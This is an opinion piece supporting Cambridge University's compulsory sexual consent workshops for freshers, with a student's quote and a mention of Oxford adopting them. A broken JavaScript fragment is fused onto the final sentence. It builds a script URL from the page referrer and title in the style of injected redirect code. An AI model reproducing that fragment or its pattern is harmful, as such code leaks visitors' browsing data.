Cambridge University’s compulsory sexual consent workshops – not a bad idea at all

By Nicola McFadyen

Cambridge University announced last month that for the first time their freshers would be partaking in workshops focused solely on the idea of sexual consent, a topic which has sparked great controversy amongst the masses.

Personally, I think it’s a fantastic idea. Far too often, you read about freshers who have had too much to drink, and have taken it much too far with members of the opposite sex, claiming they were “too drunk to say no” or that they gave no indication that they weren’t willing to participate in acts of a sexual nature. For workshops to be given on such a touchy subject is a forward-thinking idea, as it means that people will have a safe and open environment to discuss their thoughts and feelings on the matter, as well as allowing them to debunk the myth surrounding the topic. The Guardian newspaper has stated that each workshop will involve around thirty students, and will last roughly thirty minutes each- and unlike most freshers events, this workshop is compulsory.

“I think it’s great that they’re introducing this – I’m in my third year now, and I wish they’d had something like this when I was in my first year, as I feel it would have made a huge difference to the attitudes of some of the people that I was friendly with,” Fraser Newgreen, a Politics student at Magdelene College at Cambridge University, tells me. “For many of the students, this is their first time away from home – they’re away from what is the norm for them, and as many of them are just 18, many of them have never had any sort of sexual encounter before, and immediately become drawn into what is known as the “lad culture” where guys are often expected to score points against one another, especially in bedroom encounters.” Many of the older students share the same feelings as Fraser, as they feel it will help to make talking about some of the issues of consent easier, especially if it’s something they are rather unfamiliar with to begin with.

Trials of the workshop have already been carried out amongst some of the older students, as well as some trial groups of freshers, and it has been said that thus far, the whole concept has been very well received with very little animosity from the students themselves. The University has also done its best to reassure any concerns from parents by getting them involved in some of the trial workshops as well.

While some people may say that these workshops are shoving ideas down the throats of young people, and that they are being ran for “the universities own agenda” it has been statistically proven that in recent years the issue of sexual violence is becoming more and more problematic on university campuses, especially within the first year, and if there is something on offer that is going to help tackle this issue head on, then I say it can only be a good thing. The idea has become so popular that now Oxford have also signed onto the idea, and they too will be offering workshops in the same subject matter in the upcoming months.

I say well done Cambridge, for so bravely tackling an issue that can be so difficult to talk about, especially within young men, and hopefully the results of this endeavour will become apparent in the not too distant future.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;